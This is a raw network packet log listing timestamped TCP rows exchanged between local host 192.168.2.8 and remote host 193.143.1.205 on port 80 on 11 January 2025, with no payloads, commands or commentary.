Jan 11, 2025 03:04:09.114830971 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114886999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114886999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114932060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114948034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114962101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114976883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.114985943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.114993095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115056992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.115514040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115561962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.115565062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115581036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115623951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.115674973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115689993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115705013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115731001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.115793943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.115833044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.122042894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.134505033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.134531975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.134546041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.134578943 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.134612083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.134650946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.145930052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.170097113 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.172069073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172086000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172107935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172122955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172138929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.172143936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172166109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.172216892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172255039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.172266960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172370911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172385931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172409058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.172442913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172457933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172480106 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.172523022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.172559023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.176521063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.201234102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.201283932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.201296091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.201340914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.201368093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.201406002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.201446056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.201459885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.201495886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.209590912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209649086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209661007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209692001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.209758043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209798098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.209804058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209886074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209897041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209909916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.209923029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.209939003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.210036993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.210048914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.210098028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.210129023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.210139036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.210176945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.238843918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.238869905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.238879919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.238892078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.238957882 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.238990068 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239003897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239017010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239063978 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239094973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239106894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239154100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239177942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239335060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239346027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239356995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239368916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239373922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239403963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239590883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239609003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239619017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239629030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239635944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239639997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239651918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239658117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239664078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239675045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239681959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239686012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.239701986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.239737988 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240077972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240230083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240262032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240291119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240324020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240340948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240351915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240361929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240365982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240391970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240520000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240561008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240566969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240578890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240616083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240803003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240814924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240825891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240842104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240850925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240852118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240864992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240875006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240885973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240885973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240896940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240904093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240907907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240920067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.240921974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.240952015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241467953 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241480112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241491079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241512060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241534948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241609097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241621017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241631985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241652012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241831064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241844893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241861105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241871119 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241872072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241883993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241889954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241899967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.241903067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241925955 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.241941929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.242418051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242430925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242440939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242451906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242463112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242472887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242484093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242484093 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.242495060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242506027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.242507935 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.242543936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.242993116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243005037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243015051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243025064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243036032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243037939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243055105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243087053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243273020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243283033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243294001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243304968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243333101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243334055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243341923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243350983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243362904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243372917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243382931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243390083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243393898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243401051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243407965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243418932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243429899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243432999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243442059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.243453026 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.243485928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.244167089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.244178057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.244188070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.244199038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.244210005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.244215965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.244227886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.244390965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.263120890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263164043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263175964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263216019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.263248920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263262033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263278008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.263307095 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.263394117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263406038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263416052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.263442039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.292176962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292248964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292259932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292272091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292298079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.292354107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292366982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292376995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.292385101 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.292397976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.292423010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.292507887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.298624039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.300534964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300558090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300570011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300592899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.300611019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.300637960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300685883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300724983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.300770998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300782919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300793886 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300802946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300821066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.300834894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.300975084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300985098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.300997019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.301023960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.301127911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.301140070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.301151037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.301162004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.301166058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.301192999 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.301234007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.301270008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.304831028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.323388100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.329937935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.329999924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330034971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330068111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330085993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330120087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330130100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330154896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330199003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330256939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330338955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330374956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330382109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330408096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330452919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330459118 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330471992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330506086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330702066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330713034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330724001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330734968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330745935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330755949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330770016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330771923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330781937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330792904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.330792904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.330832958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331247091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331259012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331269979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331280947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331286907 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331291914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331304073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331319094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331321955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331343889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331353903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331702948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331715107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331724882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331736088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331747055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331757069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331764936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331768990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.331785917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.331799030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332108021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332120895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332133055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332142115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332145929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332176924 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332365990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332380056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332393885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332412958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332413912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332425117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332436085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332439899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332448006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332458973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332462072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332473040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332479000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332485914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332498074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332509041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.332524061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.332540989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 03:04:09.333184958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333195925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 03:04:09.333206892 CET	80	49705	193.143.1.205	192.168.2.8
